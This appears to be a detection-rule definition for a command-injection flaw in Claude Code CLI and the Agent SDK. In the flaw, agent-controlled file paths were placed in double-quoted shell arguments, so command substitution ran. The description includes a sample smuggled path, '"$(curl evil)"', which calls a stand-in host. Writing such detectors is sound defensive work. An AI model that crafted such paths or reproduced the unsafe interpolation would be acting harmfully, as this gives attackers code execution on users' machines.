+title: "Claude Code Shell Metacharacter in Double-Quoted File Path"
+id: ATR-2026-00526

+status: "stable"
+description: >
+  Detects the CVE-2026-35021/35020/35022 family in Claude Code CLI and
+  Claude Agent SDK (disclosed 2026-05-15, CVSS 8.4). The root cause is
+  POSIX §2.2.3 — `$()` command substitution and backtick command
+  substitution remain active inside double quotes. In Claude Code's
+  `promptEditor.ts`, file paths from agent-controlled context were
+  interpolated into double-quoted shell arguments passed to `execSync`,
+  letting a path like `"$(curl evil)"` execute attacker code.
+  Generalizes beyond Claude Code: any agent that double-quote-wraps a
+  user/agent-controlled file path before passing to a shell tool inherits
+  this RCE primitive. The detection target is a path-shaped argument
+  containing a `$(...)` or backtick command substitution inside double
+  quotes.
